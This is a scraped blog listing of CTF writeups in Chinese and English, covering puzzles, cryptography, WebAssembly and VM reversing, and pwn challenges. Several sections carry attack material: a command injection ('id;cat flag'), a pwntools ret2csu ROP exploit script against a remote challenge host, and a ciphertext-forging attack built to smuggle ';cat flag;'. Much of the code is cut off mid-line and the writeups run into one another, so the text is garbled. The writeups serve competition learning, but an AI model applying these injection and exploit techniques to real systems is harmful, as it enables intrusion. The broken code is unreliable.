mcfx's blog - writeup
/category/wp/
腾讯极客技术挑战赛 第三期 码上种树 Writeup
/archives/293/
2021-03-15T18:11:00+08:00## 批量种树 & 前两题
首先 F12 一下，看看请求，可以发现先 pull 了一个 js，然后把 js 运行的结果返回上去，就成功种下一棵树。那么可以写个脚本快速种树：
```python
import requests
def pull():
return requests.get('http://159.75.70.9:8081/pull?u=xxx').json()
def push(t, a):
return requests.get('http://159.75.70.9:8081/push', params={'t': t, 'a': a}).json()
def tree():
q = pull()
print(q)
c = q['c']
t = q['t']
if c == 'A274075A':
a = q['a'][0]
elif c == 'A3C2EA99':
a = q['a'][0]
a = a * a + a
else:
assert False
r = push(t, a)
print(r)
while True:
tree()
```
看到服务器的 ip 在广州，于是把脚本放在那边的 vps 上跑，就种的比较快。
前两题非常简单，就不多说了。
## 第三题（100000）
题目中有用的部分如下：
```js
window[g('0x0')] = function (h) {
var i = 0x30d3f;
for (var j = 0x30d3f; j > 0x0; j--) {
var k = 0x0;
for (var l = 0x0; l < j; l++) {
k += h['a'][0x0];
}
k % h['a'][0x2] == h['a'][0x1] && j < i && (i = j);
}
return i;
};
```
只需要优化内层循环就可以有足够的速度了。（下面的代码需要加在前面的脚本的后面）
```python
elif c == 'A5473788':
a = q['a']
i = 0x30d3f
for j in range(0x30d3f, -1, -1):
k = a[0] * j
if k % a[2] == a[1] and j < i:
i = j
a = i
```
## 第四题（250000）
一个基本只包含 `+()![]` 的 js。虽然之前看到过类似的混淆，但是没搜到直接能用的反混淆工具。
观察发现这里面大量代码只是为了生成常量，比如
```js
(!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]]
```
只是为了生成 `o`。手动发现并替换掉这些常量后，代码就可读了不少：
```js
window.A593C8B8=async(_)=>(($,_,__,___,____)=>{let _____=function*(){while([])yield[(_,__)=>_+__,(_,__)=>_-__,(_,__)=>_*__][++__%(3)]['bind'](0,___,____)}();let ______=function(_____,______,_______){____=_____;___=______['next']()['value']();__==_['a']['length']&&_______(-___)};return new Promise(__=>_['a']['for'+([]['filter']['constructor']('return/0/')()['constructor']+[])['12']+'a'+([]['filter']+[])[3]+'h'](___=>$['setTimeout'](____=>______(___,_____,__),___)))})(window,_,+[],+[],+[])
```
格式化并替换掉变量名：
```js
window.A593C8B8 = async (a) => {
var b = 0,
c = 0,
d = 0;
let e = function* () {
while ([]) yield [(a, b) => a + b, (a, b) => a - b, (a, b) => a * b][++b % (3)]['bind'](0, c, d)
}();
let f = function (e, f, g) {
d = e;
c = f['next']()['value']();
console.log(d + ' ' + c);
b == a['a']['length'] && g(-c)
};
return new Promise(b => a['a']['forEach'](c => setTimeout(d => f(c, e, b), c)))
}
```
可以发现是按照 a 数组的值 setTimeout 对应时间，再做加减乘的运算。setTimeout 的部分可以用排序代替。
```python
def q4(s):
s.sort()
c = 0
d = 0
v = [lambda x, y:x + y, lambda x, y:x - y, lambda x, y:x * y]
for i in range(len(s)):
d = s[i]
c = v[(i + 1) % 3](c, d)
return -c
```
## 第五题（500000）
js 加载了一段 wasm，并把 Math 传了进去。使用 wasm2c 可以反编译得到 C 代码：
```c
extern int ffimport$0(int local0, int local1); /* import */
extern int ffimport$1(int local0, int local1); /* import */
int f0(int local0, int local1) {
// Parsed WASM function locals:
int local2;
int local3;
int local4;
int local5;
int local6;
int local7;
local2 = local0;
if (local4 = local1 - 1) {
while (1) { // Loop name: 'label$2'
local3 = local2;
local6 = 0;
local7 = 10;
while (1) { // Loop name: 'label$3'
local5 = local3 % 10;
local3 = local3 / 10;
local6 = ffimport$1(local5, local6);
;
local7 = ffimport$0(local5, local7);
;
if (local3 > 0) break;
} // End of loop 'label$3'
local2 = local2 + local6 * local7;
if ( local4 = local4 - 1;
) break;
} // End of loop 'label$2'
} //
local2}
```
可以看出，程序把 local2 的每一位用两个外部函数（ffimport）运算，然后乘积加回到 local2 上，重复 local0 这么多次。
而直接查看 wasm 就可以得知这两个外部函数分别是 min 和 max：
这样就可以用 python 实现了：
```python
def f(x, y):
for i in range(y - 1):
s = list(map(int, str(x)))
x += max(s) * min(s)
return x
```
但是这个实现不够快。其实要加快也很简单，可以发现 min(s) 为 0 时就可以不继续算了，加上这个判断就可以很快得出结果。
## 第六题（1000000）
不难看出是一个栈式虚拟机，照着代码抄一遍可以写一个反汇编器出来。（代码可以在 https://github.com/mcfx0/qq_geek_tree 找到，这里就不放了）
```
0 resize stack 3
2 or stack[2], []
4 push ""
5 concat s1, char(119) # w
7 concat s1, char(105) # i
9 concat s1, char(110) # n
11 concat s1, char(100) # d
13 concat s1, char(111) # o
15 concat s1, char(119) # w
17 pop 1; push [window, s1]
18 push ""
19 concat s1, char(67) # C
21 concat s1, char(65) # A
23 concat s1, char(49) # 1
25 concat s1, char(56) # 8
27 concat s1, char(48) # 0
29 concat s1, char(55) # 7
31 concat s1, char(69) # E
33 concat s1, char(66) # B
```
反汇编之后，发现有大量的代码其实是在构造字符串，于是把这部分也处理成一条 push 字符串的指令。
```
125 pop 1; push s1
126 push stack[s1[0]][0]
138 push "BigInt"
140 pop 1; push [window, s1]
154 push "1661594"
156 pop 1; push s1[0][s1[1]](s1[0], stack[-1:])
158 pop 1; mul s2, s1
159 mov stack[s2[0]][0], s1
160 swap stack[-2], s1
162 push [6]
164 pop 1; push s1
165 push stack[s1[0]][0]
177 push "BigInt"
179 pop 1; push [window, s1]
211 push "1125899906842597"
213 pop 1; push s1[0][s1[1]](s1[0], stack[-1:])
215 mod s2, s1
216 mov stack[s2[0]][0], s1
217 swap stack[-2], s1
```
往后翻，看到了 BigInt 和 mod 操作，于是猜想可能是对输入做若干操作然后模这个大数。在浏览器中运行一遍函数，传 12 个 0 进去，可以得到结果为 6，这像是 6 个 1 相加，而操作应该是乘方。改成 1 和 11 个 0，结果为 1661599，这就比较像是 6 个乘积之和了。
继续实验可以发现，这个代码内置了 12 个数 $b_0,\dots, b_{11}$，而答案是 $\sum_{i=0}^5 b_{2i}^{a^{2i}}b_{2i+1}^{a_{2i+1}}\bmod 1125899906842597$。
于是用快速幂（比如 python 的 pow）来完成这个操作即可。
### 小插曲（1010000）
脚本跑到 1010000 时，发现下发的 js 变了。下载下来查看，发现还是虚拟机，但是指令编码变了，内置的常数也变了。那么我们应该需要一个办法来快速找到这些常数。
这个虚拟机构造字符串的方法是 $[op,char_1,op,char_2,\dots,op,char_n]$，其中 op 是指令编号，$char_i$ 是字符串的第 i 个字符。由于这些 BigInt 也是如此构造的，可以发现这些 $char_i$ 全是数字，而利用这个特点可以高效地找到所需的常数。具体可以看下面的代码。
```python
def find_q6_nums(s):
def isnum(x):
return x >= 48 and x 1:
break
a.add(s[j - 1])
b.append(s[j])
j += 2
if len(b) < 5:
i += 1
continue
x = list(a)[0]
y = int(''.join(map(chr, b)))
if x not in res:
res[x] = []
res[x].append(y)
i = j
for x in res:
if len(res[x]) >= 10:
t = res[x]
r2 = []
for i in range(len(t)):
if t[i] > 10**10:
mod = t[i]
if t[i - 1] 0CTF/TCTF 2020 Quals Writeup
/archives/287/
2020-07-03T03:33:03+08:00
function resizeIframe(){this.style.height=this.contentWindow.document.documentElement.scrollHeight+'px';setTimeout(resizeIframe.bind(this),30)}“第五空间”智能安全大赛 Writeup
/archives/285/
2020-06-29T16:25:00+08:00
function resizeIframe(){this.style.height=this.contentWindow.document.documentElement.scrollHeight+'px';setTimeout(resizeIframe.bind(this),30)}De1CTF 2020 Writeup
/archives/284/
2020-05-06T08:26:00+08:00# Crypto
## NLFSR
可以发现输出是1时，ao是1的概率有75%。可以枚举前19个ao，解方程得到a的初始值，再枚举c和d的初始值，可以得到b的若干状态，最后解方程得到b，再检验。
```cpp
#include
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair pii;
#define xx first
#define yy second
template inline T max(T a,T b){return a>b?a:b;}
template inline T min(T a,T b){return a0?a:-a;}
template inline bool repr(T &a,T b){return ab?a=b,1:0;}
template inline T gcd(T a,T b){T t;if(a>j&1)
{
f[i]^=f[j];
v[i]^=v[j];
}
uint r=0;
fo0(i,19)r+=v[i]PlaidCTF 2020 Writeup
/archives/283/
2020-04-29T05:39:18+08:00# Crypto
## stegasaurus scratch
Given a c file, which calls lua, and we need to finish two tasks.
In the first one, we need to construct an injective map between 8 distinct numbers from 0 to 39999, and 7 distinct numbers with their permutation. Note that C(40000,8)/C(40000,7) is about 5000, which is less than 7!, thus it’s possible. We may delete the number which is k-th smallest, where k is the total sum of 8 numbers modulo 8. For any 7-number tuples, there exists about 5000(more precisely, less than 5008) other numbers, such that it will be deleted. We can find the rank of the actual one in them, and encode it into a permutation.
In the second task, Alice is given an array of length 96, consists of 32 `2`s and 64 `1`s, she needs to mark 32 of the `1`s to `0`. Bob is given the remaining array, but he only knows whether a number is `0`. He needs to find all “2”s. In fact, the task needs a bijective map from C(96,32) to C(96,32), but each pair don’t have common elements. We may split the sequence into blocks of length 2, if some block is 01 or 10, just flip it. Otherwise, we obtain a new sequence with `11` and `00`, thus it’s the same as the original problem, and we can recursively solve it.
```lua
function nthperm(n)
s={}
t=1
for i=1,7,1 do
a=n//t
t=t*i
b=a//i
c=a-i*b
s[i]=c+1
end
for i=1,7,1 do
for j=1,i-1,1 do
if s[j]>=s[i] then
s[j]=s[j]+1
end
end
end
return s
end
function permrank(s)
s=table.shallow_copy(s)
n=0
t=1
for i=7,1,-1 do
for j=1,i-1,1 do
if s[j]>s[i] then
s[j]=s[j]-1
end
end
end
for i=1,7,1 do
n=n+(s[i]-1)*t
t=t*i
end
return n
end
function getdel(s)
sum=0
for i=1,8,1 do
sum=sum+s[i]
end
return s[sum-(sum//8)*8+1]
end
function table.shallow_copy(t)
local res={}
for k=1,#t,1 do
res[k]=t[k]
end
return res
end
function count(l,r,r2,v)
if(r>r2)then
r=r2
end
if(l>r)then
return 0
end
lt=l//8
rt=r//8
if(lt==rt)then
if(lx2:x1=x2
return get(x1,y1)==1 or get(x1,y1-1)==1
pos=[(0,0,'','(0,0)')]
for i in range(50):
npos=set()
for x,y,path,his in pos:
for nx,ny,d in [(x-1,y,'u'),(x+1,y,'d'),(x,y-1,'l'),(x,y+1,'r')]:
if ok_red(x,y,nx,ny):
np=path+d
if '(%d,%d)'%(nx,ny) in his:
continue
npos.add((nx,ny,np,his+'(%d,%d)'%(nx,ny)))
pos=npos
for x,y,path,his in pos:
if x==7 and y==7:
print(len(path),path)
s=nxt(s)
```
## A Plaid Puzzle
It contains a big matrix, elements fall down, change according to the characters of the flag, and interact with each other. In fact, each line of the puzzle is independent. The last element will “eat” every element in front of it, and finally check if it’s equal to some constant. There are 64 different statuses in this process, and in fact it’s just xor (but shuffled). So we can find some relations about the xor, and find the flag by gauss elimination.
```python
raw=open('code.txt','r',encoding='utf-8').readlines()
cmap={}
for i in range(1139,1267):
a,b=raw[i].strip().split(' = ')
cmap[a]=b
cmap['C']='fljldviokmmfmqzd'
cmap['F']='iawjsmjfczakueqy'
cmap['.']='.'
cmap['X']='X'
rule1s=[]
rule1={}
rule1x={}
for i in range(64):
rule1['char'+str(i)]={}
for i in range(1427,5523):
t=raw[i].strip()
a,b=t[:-6].split(' -> ')
ax,ay=a[2:-2].split(' | ')
bx,by=b[2:-2].split(' | ')
rule1s.append((ay,ax,bx))
rule1[ay][ax]=bx
if ax not in rule1x:
rule1x[ax]={}
rule1x[ax][bx]=ay
rule2s=[]
rule2={}
rule2x={}
for i in range(5523,9619):
t=raw[i].strip()
a,c=t[8:-10].split(' ] -> [ ')
a,b=a.split(' | ')
rule2s.append((a,b,c))
if a not in rule2:
rule2[a]={}
rule2[a][b]=c
if c not in rule2x:
rule2x[c]={}
rule2x[c][a]=b
rule3s=[]
rule3={}
for i in range(9619,9747):
t=raw[i].strip()
a,c=t[2:-10].split(' ] -> [ ')
a,b=a.split(' | ')
rule3s.append((a,b,c))
if a not in rule3:
rule3[a]={}
rule3[a][b]=c
board=[]
for i in range(9760,9806):
t=list(raw[i].strip())
for j in range(len(t)):
t[j]=cmap[t[j]]
board.append(t)
board.append(['']*47)
board.append(['X']+['char63']*45+['X'])
charmap=list(map(chr,range(65,65+26)))+list(map(chr,range(97,97+26)))+list(map(chr,range(48,48+10)))+['{','}']
req='kkavwvmbabfuqctz'
slist=[]
for x in rule2x[req]:
slist.append(rule2x[req][x])
sid={}
for i in range(64):
sid[slist[i]]=i
tbl=[[0]*64 for i in range(64)]
for tr in slist:
for op1 in range(64):
t=board[1][2]
v=rule1['char'+str(op1)][t]
nxt=rule2x[tr][v]
tbl[sid[tr]][op1]=sid[nxt]
t=[]
u=0
cur=set([u])
while True:
x=0
while x>j&1:
v=tbl[v][t[j]]
for j in range(64):
if tbl[u][j]==v:
sr.append(j)
sl=[]
for i in range(64):
sl.append(tbl[u][sr[i]])
slrev=[0]*64
for i in range(64):
slrev[sl[i]]=i
eq=[]
for X in range(45,0,-1):
cur=[]
xor_const=slrev[sid[req]]^slrev[sid[board[X][46]]]
for Y in range(1,46):
t=board[X][Y]
tmp=[0]*6
for i in range(6):
k=sr[1i&1)
t.append(xor_const>>i&1)
eq.append(t)
s=eq
n=len(s)
m=len(s[0])
c=0
for i in range(m-1):
if not s[c][i]:
t=c+1
while tMidnight Sun CTF 2020 Quals Writeup
/archives/281/
2020-04-05T01:30:00+08:00# pwn
## admpanel
Run `id;cat flag`.
## Pwny racing - pwn1
ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information.
```python
from pwn import *
from time import sleep
p=ELF('./pwn1')
main_addr=0x400698
main_end_addr=0x40070b
csu_end_addr=0x40077a
csu_front_addr=0x400760
fakeebp = b'b' * 8
bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one
libc=ELF('./libc.so')
r=remote('pwn1-01.play.midnightsunctf.se',10001)
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0
# rbp should be 1, disable jump
# r12 should be the function we want to call
# rdi=edi=r13 Codegate CTF 2020 Preliminary Writeup
/archives/279/
2020-03-01T04:58:48+08:00# Misc
## Verifier
一个用 ply.yacc 实现的语法分析器，要写一段代码 print 一个小于 0 的数。但是他会先进行预处理，并求出每个变量可能的最小值和最大值，当 print 的输入的最小可能值小于 0 时会退出。
在预处理 while 时，他只会尝试运行 3 次，那么一个在第 4 次或之后才被修改的值就不会被预处理考虑到。
```
T=10;A=1;B=1;[T>1{T=T+-1;A==5?{B=-1}:{A=A};A==-1?{A=5}:{A=A};A==0?{A=-1}:{A=A};A==4?{A=0}:{A=A};A==3?{A=4}:{A=A};A==2?{A=3}:{A=A};A==1?{A=2}:{A=A};!T}];!B
```
# Crypto
## halffeed
程序每轮会把一个 tag 和明文异或得到密文，然后 `tag=cipher[:8]+plain[8:]` ，然后用 key 对 tag 加密，同时 key 本身也会被加密（相当于一个固定的 key 生成器）。
需要得到一个包含 `;cat flag;` 的字符串，但是不能直接对包含 `cat flag` 的字符串加密。
Tag 可以直接由明密文异或得到，考虑 `randchar`\*8 + `;cat fla` 和 `randchar`\*16+`g;`+.....，他们处理后的tag有概率前两位相同（生日攻击），这样就可以拼出一个完整的 cat flag。
```python
from pwn import *
import random
def getconn():
#return process(['python3','prob.py'])
return remote('110.10.147.44',7777)
def encrypt(s):
if type(s) is str:
s=s.encode()
print(s.hex())
r=getconn()
r.send('1\n')
r.send(s.hex()+'\n')
r.recvuntil('ciphertext = ')
cipher=bytes.fromhex(r.recv(len(s.hex())).decode())
r.recvuntil('tag = ')
tag=bytes.fromhex(r.recv(32).decode())
r.send('4\n')
r.close()
return cipher,tag
def getflag(nonce,cipher,tag):
r=getconn()
r.send('3\n')
r.send(nonce.hex()+'\n')
r.send(cipher.hex()+'\n')
r.send(tag.hex()+'\n')
r.interactive()
def xor(a,b):
return bytes(b1 ^ b2 for b1, b2 in zip(a,b))
def getrnd(n):
return bytes([random.randint(0,255)for i in range(n)])
#print(encrypt(b'\0'*128))
a=b'\0'*8+b';cat fla'
b=b'\0;'+b'\0'*14
br=b'g;'+b'\0'*14
mapa={}
mapb={}
res=None
#mapa[b'\x99(']=b'\xa3\xab\xcd\xa6W\xbaT\xc8;cat fla'
#mapb[b'\x99(']=b'\x93\xf0\x0f\xd9m\xb7\xa1gy\x07\nX\nY\xed\xe3'
#res=b'\x99('
while 1:
at=getrnd(8)+a[8:]
ci,ta=encrypt(at+b)
ac=ci[:16]
bc=ci[16:]
tb=xor(b,bc)
bc2=xor(br,tb)
nt=bc2[:8]+b[8:]
#print(nt[:2])
mapa[nt[:2]]=at
ut=getrnd(16)
ci,ta=encrypt(ut+b'\0'*32)
xc=ci[:16]
yc=ci[16:32]
zc=ci[32:]
#print(yc[:2])
mapb[yc[:2]]=ut
for i in mapa:
if i in mapb:
res=i
if res is not None:
break
#print(res,mapa[res],mapb[res])
at=mapa[res]
ci,ta=encrypt(at+b)
#print('A',(at+b).hex())
ac=ci[:16]
bc=ci[16:]
tb=xor(b,bc)
bc2=xor(br,tb)
nt=bc2[:8]+b[8:]
ut=mapb[res]
ci,ta=encrypt(ut+b'\0'*32)
xc=ci[:16]
yc=ci[16:32]
nt2=yc[:8]+b'\0'*8
#print(nt2.hex())
zc=ci[32:]
#print(yc[:2])
#print(ci,ta)
#print(xor(yc,nt))
#print(xor(nt2,nt))
#print((xor(nt2,tb)[:8]+nt2[8:]).hex())
#src= at+xor(nt2,tb)[:8]+nt2[8:]+b'\0'*16
getflag(b'\0'*16,ac+xor(xor(nt2,tb)[:8]+nt2[8:],tb)+zc,ta)
```
## MUNCH
需要分解 1024 位的 n。其中 p 给出了 从 0,146,292,438 bit 开始的 111bit。
给出的方法是，另外钦定一个质数 mod，然后给出若干对 k_i\*px%mod 的高几十位。这些 k_i 基本都是随机的。
考虑 LLL 算法可以求出若干个向量的较小的线性组合，可以构造下面这些向量：
```
(每个 k_i*px 的有效值) + (若干 0)
(每个 k_i) + 一个奇怪的常数 C + (若干 0)
接下来若干行，每行是
(前若干个里，第 i 行的第 i 个位置是 mod) + 0 + (后若干个里，第 i 行的第 i 个位置是 1)
```
这样的话，一种可能较小的线性组合就是第一个向量加上若干个后面的向量再减若干个第二个向量。这时那个奇怪的常数就是求出的 px 了。至于这个常数应该取多少，以及这为啥能奏效，我就不知道了（试出来的结果是 1HackTM CTF Quals 2020 Writeup
/archives/278/
2020-02-06T03:32:00+08:00由于寒假比较闲，所以找点比赛打。由于需要上交 wp，所以是英文的。
# Crypto
## RSA is easy #1
Since $$N$$ is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.
```python
e=65537
n=...
s=[...(encrypted flag)]
from gmpy2 import *
f={}
for j in range(32,127):
f[j**e%n]=j
r=''
for i in s:
r+=chr(f[i])
print r
```
## RSA is easy #2
We doesn't know $$N$$, but we know that $$c=n^e\ mod\ N$$. So $$N$$ is a factor of $$n^e-c$$. Then for two $$c$$, we can check all $$n$$, and calculate their $$gcd$$. Then just follow #1.
```python
from gmpy2 import *
s=open('c').read()
s1='Encrypted flag:'
s=s[s.find(s1)+len(s1):]
s=eval(s.strip())
a=s[0]
b=s[1]
for i in range(97,97+26):
for j in range(97,97+26):
t=gcd(i**65537-a,j**65537-b)
if t>100:
print '|',t
print i
```
## Prison Break
Maintain the difference of every two adjacent numbers.
```cpp
#include
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair pii;
#define xx first
#define yy second
template inline T max(T a,T b){return a>b?a:b;}
template inline T min(T a,T b){return a0?a:-a;}
template inline bool repr(T &a,T b){return ab?a=b,1:0;}
template inline T gcd(T a,T b){T t;if(a> >>.>*./N>.NN/N>N . /N >N>/>/>N/
WN V*\\NVW\WVN* NVNN WN\ \ . *.NN . N NWW\\.W\ W\\ NW N\W
```
```python
from Crypto.Cipher import AES
c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')
def chk(key):
aes = AES.new(key,AES.MODE_CBC, iv)
r=aes.decrypt(c)
for i in r:
if ord(i)126:
return False
print(r)
return True
def chkn(x):
r=''
for i in range(32):
r+=chr(x&255)
x>>=8
assert x==0
r=r[::-1]
return chk(r)
a,b=open('key.txt').readlines()[:2]
a=a.strip()
b=b.strip()
va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
unk=[]
tot=0
for i in range(59):
p=58-i
po=20**i
if a[p]=='*':
assert b[p]=='*'
unk.append((po,i))
else:
tot+=(va[a[p]]*5+vb[b[p]])*po
def dfs(x,cur):
if x==len(unk):
return chkn(cur)
for i in range(20):
dfs(x+1,cur+unk[x][0]*i)
dfs(0,tot)
```
# Forensics
## RR
It seems to be raid5. After some observation, I found the way to decrypt it.
(decrypt script, 2.img is the $$xor$$ of 1.img and 3.img)
```cpp
#include
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair pii;
#define xx first
#define yy second
template inline T max(T a,T b){return a>b?a:b;}
template inline T min(T a,T b){return a0?a:-a;}
template inline bool repr(T &a,T b){return ab?a=b,1:0;}
template inline T gcd(T a,T b){T t;if(a>3
return s[:xt]+bytes([s[xt]^(13
return s[:xt]+bytes([s[xt]^(1CTFZone 2019 Quals Writeup
/archives/276/
2019-12-16T15:55:08+08:00# PPC
### Fridge
In the $$n\times n$$ matrix, each $$(i,j)$$ operation will add a matrix to the original one, and modulo each entry with some $$P$$. (For the first several levels, $$P=2$$, and $$P=8$$ or $$16$$ later)
We can compute a basis to solve this problem.
```python
import socket
import random
import sys
from copy import deepcopy
_debug=False
class Remote:
def __init__(self,ip,port):
self.s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((ip,port))
self.buf=''
def send(self,s):
self.s.send(s.encode())
def recvbyte(self):
if len(self.buf)==0:
self.buf=self.s.recv(1024).decode().replace('\r','')
res=self.buf[0]
self.buf=self.buf[1:]
if _debug:
sys.stdout.write(res)
sys.stdout.flush()
return res
def unrecv(self,s):
self.buf=s+self.buf
def recvuntil(self,s):
res=''
while res[-len(s):]!=s:
res+=self.recvbyte()
return res
r=Remote('ppc-fridge.ctfz.one',31337)
def getlvl():
s=[]
s+=[list(map(lambda x:int(x,16),r.recvuntil('\n').split(' ')))]
for i in range(len(s[0])-1):
s+=[list(map(lambda x:int(x,16),r.recvuntil('\n').split(' ')))]
return s
def test(x,y):
r.send(str(x)+','+str(y)+'\n')
t=r.recvbyte()
if t=='t':
r.recvuntil('\n')
return True
r.unrecv(t)
return False
def hash(x):
res=0
for i in x:
for j in i:
res=res*2+j
return res
def umax(s):
res=0
for i in s:
res=max(res,max(i))
return res
def test8(cur,n,m):
print('test8=============================')
P=umax(cur)+1
def add(x,y):
res=deepcopy(x)
for i in range(n):
for j in range(m):
res[i][j]=(res[i][j]+y[i][j])%P
return res
def sub(x,y):
res=deepcopy(x)
for i in range(n):
for j in range(m):
res[i][j]=(res[i][j]+P-y[i][j])%P
return res
op=[[0 for i in range(m)]for j in range(n)]
for i in range(n):
for j in range(m):
if test(i,j):return
nxt=getlvl()
op[i][j]=sub(nxt,cur)
print(i,j,op[i][j])
cur=nxt
for i in range(10):
x=random.randint(0,n-1)
y=random.randint(0,m-1)
print('random test:',x,y)
if test(x,y):return
nxt=getlvl()
assert nxt==add(op[x][y],cur)
cur=nxt
sc=[[0 for i in range(m)]for j in range(n)]
sv=[[0 for i in range(m)]for j in range(n)]
for i in range(n):
for j in range(m):
oc=op[i][j]
ov=[[0 for i in range(m)]for j in range(n)]
ov[i][j]=1
flag=False
for x in range(n):
if flag:continue
for y in range(m):
if oc[x][y]:
if sc[x][y]==0:
print(x,y,oc)
sc[x][y]=oc
sv[x][y]=ov
flag=True
break
tc=sc[x][y]
tv=sv[x][y]
assert tc[x][y]
while oc[x][y]:
o=tc[x][y]//oc[x][y]
for uu in range(o):
tc=sub(tc,oc)
tv=sub(tv,ov)
oc,tc=tc,oc
ov,tv=tv,ov
sc[x][y]=tc
sv[x][y]=tv
oc=cur
ov=[[0 for i in range(m)]for j in range(n)]
print('try to find sol')
for x in range(n):
for y in range(m):
if oc[x][y]:
tc=sc[x][y]
tv=sv[x][y]
while oc[x][y]:
oc=add(oc,tc)
ov=add(ov,tv)
for x in range(n):
for y in range(m):
assert oc[x][y]==0
print('find sol:',ov)
for i in range(n):
for j in range(m):
for k in range(ov[i][j]):
print('work:',i,j)
if test(i,j):return
cur=getlvl()
def work():
global _debug
print('try to get lvl')
_debug=True
s=getlvl()
_debug=False
n=len(s)
m=len(s[0])
print(s)
test8(s,n,m)
while True:
work()
```
### Labyrinth
A maze. However, there are some hidden mines in the map. So just mark them and avoid them.
```python
import socket
import random
import sys
from copy import deepcopy
import json
import os
from pwn import *
_debug=True
r=remote('ppc-labyrinth.ctfz.one',4340)
N=41
M=201
def recvmap():
res=[]
for i in range(min(N,curx+601)):
res.append(r.recvuntil('\n').decode().strip())
if res[-1][:9]=='Exception':
print(res[-1])
markmine()
r.interactive()
return res
known_map={}
curx=0
def rmap():
global cury
fe=False
t=recvmap()
n=len(t)
for i in range(n):
if len(t[i])!=201:
if t[i][0]!='#':print(t)
assert t[i][0]=='#' and t[i][-1]=='#'
while len(t[i])HITCON CTF 2019 Quals Writeup
/archives/268/
2019-10-15T00:48:00+08:00# Misc
### EmojiiVM
It's too long to directly print each character, but we can push 1,1,1,2,...,9,9 into the stack, and write a simple loop to print the table.
Unfortunately my blog doesn't support emojis, so here's no solution.
### heXDump
Xxd only overwrites the first bytes of the file, so we can just enumerate each byte.
```python
from pwn import *
r=remote('13.113.205.160',21700)
def get():
r.recvuntil('0) quit\n')
r.send('2\n')
return r.recvuntil('\n')[:-1]
r.recvuntil('0) quit\n')
r.send('1337\n')
fh=get()
known='hitcon{'
while True:
flag=False
for j in range(32,127):
print j
t=known+chr(j)
r.recvuntil('0) quit\n')
r.send('1\n')
r.recvuntil('format)\n')
r.send(t.encode('hex')+'\n')
if get()==fh:
known=t
flag=True
break
print known
if not flag: break
```
# Crypto
### Very Simple Haskell
If a bit in the flag is 1, the answer will multiply square of a specific prime number.
Then we can use meet-in-middle to find the answer. However, here N is too big, so just factorize the primes is okay.
```python
from gmpy2 import *
from Crypto.Util.number import isPrime
primes=[]
pinv={}
for i in range(2,5000):
if isPrime(i):
pinv[i]=len(primes)
primes.append(i)
print(len(primes))
n=134896036104102133446208954973118530800743044711419303630456535295204304771800100892609593430702833309387082353959992161865438523195671760946142657809228938824313865760630832980160727407084204864544706387890655083179518455155520501821681606874346463698215916627632418223019328444607858743434475109717014763667
base=129105988525739869308153101831605950072860268575706582195774923614094296354415364173823406181109200888049609207238266506466864447780824680862439187440797565555486108716502098901182492654356397840996322893263870349262138909453630565384869193972124927953237311411285678188486737576555535085444384901167109670365
req=84329776255618646348016649734028295037597157542985867506958273359305624184282146866144159754298613694885173220275408231387000884549683819822991588176788392625802461171856762214917805903544785532328453620624644896107723229373581460638987146506975123149045044762903664396325969329482406959546962473688947985096
req=req*invert(base,n)%n
flag='hitcon{'
for i in range(6):
t=0
for j in range(8):
r=28+i*8-j
if req%primes[r]==0:
t|=1